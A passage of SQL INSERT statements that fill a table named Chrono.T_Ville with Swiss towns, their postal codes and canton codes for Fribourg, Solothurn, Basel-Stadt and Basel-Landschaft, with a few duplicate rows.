("CHE","Chésopelloz",1720,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Corserey",1747,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Cottens FR",1741,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ependes FR",1731,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ferpicloz",1724,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Fribourg",1700,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bourguillon",1722,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Givisiez",1762,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Granges-Paccot",1763,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Grolley",1772,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Marly",1723,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Matran",1753,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Neyruz FR",1740,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Noréaz",1757,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Pierrafortscha",1723,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Nierlet-les-Bois",1772,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ponthaux",1772,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Le Mouret",1724,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Essert FR",1724,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Montévraz",1724,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Oberried FR",1724,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Zénauva",1724,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bonnefontaine",1724,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Prez-vers-Noréaz",1746,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Senèdes",1724,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Treyvaux",1733,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Villars-sur-Glâne",1752,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Villarsel-sur-Marly",1723,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Posieux",1725,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ecuvillens",1730,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lentigny",1745,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Onnens FR",1756,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lovens",1756,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lossy",1782,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","La Corbaz",1782,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Cormagens",1782,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Formangueires",1782,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Villarlod",1695,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rueyres-St-Laurent",1695,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Estavayer-le-Gibloux",1695,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Villarsel-le-Gibloux",1695,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Vuisternens-en-Ogoz",1696,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Farvagny-le-Grand",1726,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Farvagny-le-Petit",1726,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Grenilles",1726,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Posat",1726,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Corpataux",1727,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Magnedens",1727,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rossens FR",1728,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Courgevaux",1796,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Villarepos",1583,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Pensier",1783,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Barberêche",1783,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Courtepin",1784,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Wallenried",1784,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Courtaman",1791,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Cressier FR",1785,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Fräschels",3284,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Galmiz",3285,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Gempenach",3215,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Greng",3280,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Cordast",1792,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Guschelmuth",1792,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Wallenbuch",3206,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Gurmels",3212,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Kleingurmels",3212,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Liebistorf",3213,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Kerzers",3210,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Kleinbösingen",3213,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Meyriez",3280,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Misery",1721,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Cormérod",1721,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Courtion",1721,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Cournillens",1721,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Muntelier",3286,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Jeuss",1793,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Salvenach",1794,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Courlevon",1795,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Büchslen",3215,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lurtigen",3215,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Morat",3280,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ried b. Kerzers",3216,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Agriswil",3216,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ulmiz",3214,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Sugiez",1786,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Môtier (Vully)",1787,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Mur (Vully) FR",1787,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Praz (Vully)",1788,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lugnorre",1789,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Alterswil FR",1715,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Brünisried",1719,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Düdingen",3186,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Giffers",1735,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bösingen",3178,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Heitenried",1714,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Plaffeien",1716,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Oberschrot",1716,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Schwarzsee",1716,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Zumholz",1719,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Plasselb",1737,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rechthalten",1718,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","St. Antoni",1713,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","St. Silvester",1736,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","St. Ursen",1717,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Schmitten FR",3185,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Tafers",1712,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Tentlingen",1734,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ueberstorf",3182,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Flamatt",3175,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Wünnewil",3184,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Attalens",1616,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Tatroz",1617,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bossonnens",1615,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Châtel-St-Denis",1618,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Les Paccots",1619,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Granges (Veveyse)",1614,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Remaufens",1617,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","St-Martin FR",1609,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Besencens",1609,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Fiaugères",1609,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Fiaugères",1609,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Semsales",1623,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Progens",1624,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Porsel",1699,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Porsel",1699,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Pont (Veveyse)",1699,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bouloz",1699,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Le Crêt-près-Semsales",1611,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","La Verrerie",1624,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Grattavache",1624,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Progens",1624,"FR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Egerkingen",4622,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Härkingen",4624,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Kestenholz",4703,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Neuendorf",4623,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Niederbuchsiten",4626,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Oberbuchsiten",4625,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Oensingen",4702,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Wolfwil",4628,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Aedermannsdorf",4714,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Balsthal",4710,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Gänsbrunnen",4716,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Herbetswil",4715,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Holderbank SO",4718,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Laupersdorf",4712,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Matzendorf",4713,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Mümliswil",4717,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ramiswil",4719,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Welschenrohr",4716,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Biezwil",4585,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lüterkofen",4571,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ichertswil",4571,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lüterswil",4584,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Gächliwil",4584,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Messen",3254,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Balm b. Messen",3254,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Brunnenthal",3307,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Oberramsern",4588,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Schnottwil",3253,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Unterramsern",4588,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Nennigkofen",4574,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lüsslingen",4574,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Tscheppach",4576,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Hessigkofen",4577,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bibern SO",4578,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Gossliwil",4579,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Küttigkofen",4581,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Brügglen",4582,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Mühledorf SO",4583,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Aetigkofen",4583,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Kyburg-Buchegg",4586,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Aetingen",4587,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Brittern",4588,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bättwil",4112,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Büren SO",4413,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Dornach",4143,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Gempen",4145,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Hochwald",4146,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Flüh",4112,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Hofstetten SO",4114,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Mariastein",4115,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Metzerlen",4116,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Nuglar",4412,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","St. Pantaleon",4421,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rodersdorf",4118,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Seewen SO",4206,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Witterswil",4108,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Hauenstein",4633,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Kienberg",4468,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lostorf",4654,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Niedergösgen",5013,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Obergösgen",4653,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rohr b. Olten",4655,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Stüsslingen",4655,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Trimbach",4632,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Winznau",4652,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Wisen SO",4634,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Erlinsbach SO",5015,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Aeschi SO",4556,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Burgäschi",4556,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Steinhof SO",4556,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Biberist",4562,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bolken",4556,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Deitingen",4543,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Derendingen",4552,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Etziken",4554,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Gerlafingen",4563,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Halten",4566,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Horriwil",4557,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Hüniken",4554,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Kriegstetten",4566,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lohn-Ammannsegg",4573,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Luterbach",4542,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Obergerlafingen",4564,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Oekingen",4566,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Recherswil",4565,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Subingen",4553,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Zuchwil",4528,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Hersiwil",4558,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Heinrichswil",4558,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Winistorf",4558,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Balmberg",4524,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Oberbalmberg",4524,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Balm b. Günsberg",4525,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bellach",4512,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bettlach",2544,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Feldbrunnen",4532,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Flumenthal",4534,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Grenchen",2540,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Günsberg",4524,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Hubersdorf",4535,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Kammersrohr",4535,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Langendorf",4513,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lommiswil",4514,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Oberdorf SO",4515,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Weissenstein b. Solothurn",4515,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Niederwil SO",4523,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Riedholz",4533,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rüttenen",4522,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Selzach",2545,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Boningen",4618,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Däniken SO",4658,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Dulliken",4657,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Wöschnau",5012,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Eppenberg",5012,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Fulenbach",4629,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Gretzenbach",5014,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Gunzgen",4617,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Hägendorf",4614,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Allerheiligenberg",4615,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Kappel SO",4616,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Olten",4600,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rickenbach SO",4613,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Schönenwerd",5012,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Starrkirch-Wil",4656,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Walterswil SO",5746,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Wangen b. Olten",4612,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Solothurn",4500,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bärschwil",4252,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Beinwil SO",4229,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Breitenbach",4226,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Büsserach",4227,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Erschwil",4228,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Fehren",4232,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Grindel",4247,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Himmelried",4204,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Kleinlützel",4245,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Meltingen",4233,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Nunningen",4208,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Zullwil",4234,"SO"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Basel",4001,"BS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Basel",4031,"BS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Basel",4031,"BS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Basel",4051,"BS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Basel",4052,"BS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Basel",4052,"BS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Basel",4053,"BS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Basel",4054,"BS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Basel",4055,"BS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Basel",4056,"BS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Basel",4057,"BS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Basel",4058,"BS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Basel",4059,"BS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bettingen",4126,"BS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Riehen",4125,"BS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Aesch BL",4147,"BL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Allschwil",4123,"BL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Arlesheim",4144,"BL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Biel-Benken BL",4105,"BL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bruderholz",4101,"BL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Binningen",4102,"BL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Birsfelden",4127,"BL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bottmingen",4103,"BL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ettingen",4107,"BL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Münchenstein",4142,"BL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Muttenz",4132,"BL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Oberwil BL",4104,"BL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Pfeffingen",4148,"BL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Reinach BL",4153,"BL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Schönenbuch",4124,"BL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Therwil",4106,"BL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Blauen",4223,"BL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Brislach",4225,"BL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Burg im Leimental",4117,"BL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Dittingen",4243,"BL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Duggingen",4202,"BL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Grellingen",4203,"BL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Laufen",4242,"BL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Liesberg",4253,"BL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Liesberg Dorf",4254,"BL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Nenzlingen",4224,"BL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Roggenburg",2814,"BL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Röschenz",4244,"BL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Wahlen b. Laufen",4246,"BL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Zwingen",4222,"BL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Arisdorf",4422,"BL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Augst BL",4302,"BL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bubendorf",4416,"BL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Frenkendorf",4402,"BL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Füllinsdorf",4414,"BL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Giebenach",4304,"BL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Hersberg",4423,"BL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lausen",4415,"BL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Liestal",4410,"BL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lupsingen",4419,"BL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Pratteln",4133,"BL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ramlinsburg",4433,"BL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Seltisberg",4411,"BL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ziefen",4417,"BL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Anwil",4469,"BL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Böckten",4461,"BL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Buckten",4446,"BL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Buus",4463,"BL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Diepflingen",4442,"BL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Gelterkinden",4460,"BL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Häfelfingen",4445,"BL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Hemmiken",4465,"BL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Itingen",4452,"BL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Känerkinden",4447,"BL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Kilchberg BL",4496,"BL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Läufelfingen",4448,"BL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Maisprach",4464,"BL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Nusshof",4453,"BL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Oltingen",4494,"BL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ormalingen",4466,"BL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rickenbach BL",4462,"BL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rothenfluh",4467,"BL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rümlingen",4444,"BL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rünenberg",4497,"BL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Sissach",4450,"BL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Tecknau",4492,"BL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Tenniken",4456,"BL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Thürnen",4441,"BL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Wenslingen",4493,"BL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Wintersingen",4451,"BL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Wittinsburg",4443,"BL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Zeglingen",4495,"BL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Zunzgen",4455,"BL"); INSERT INTO 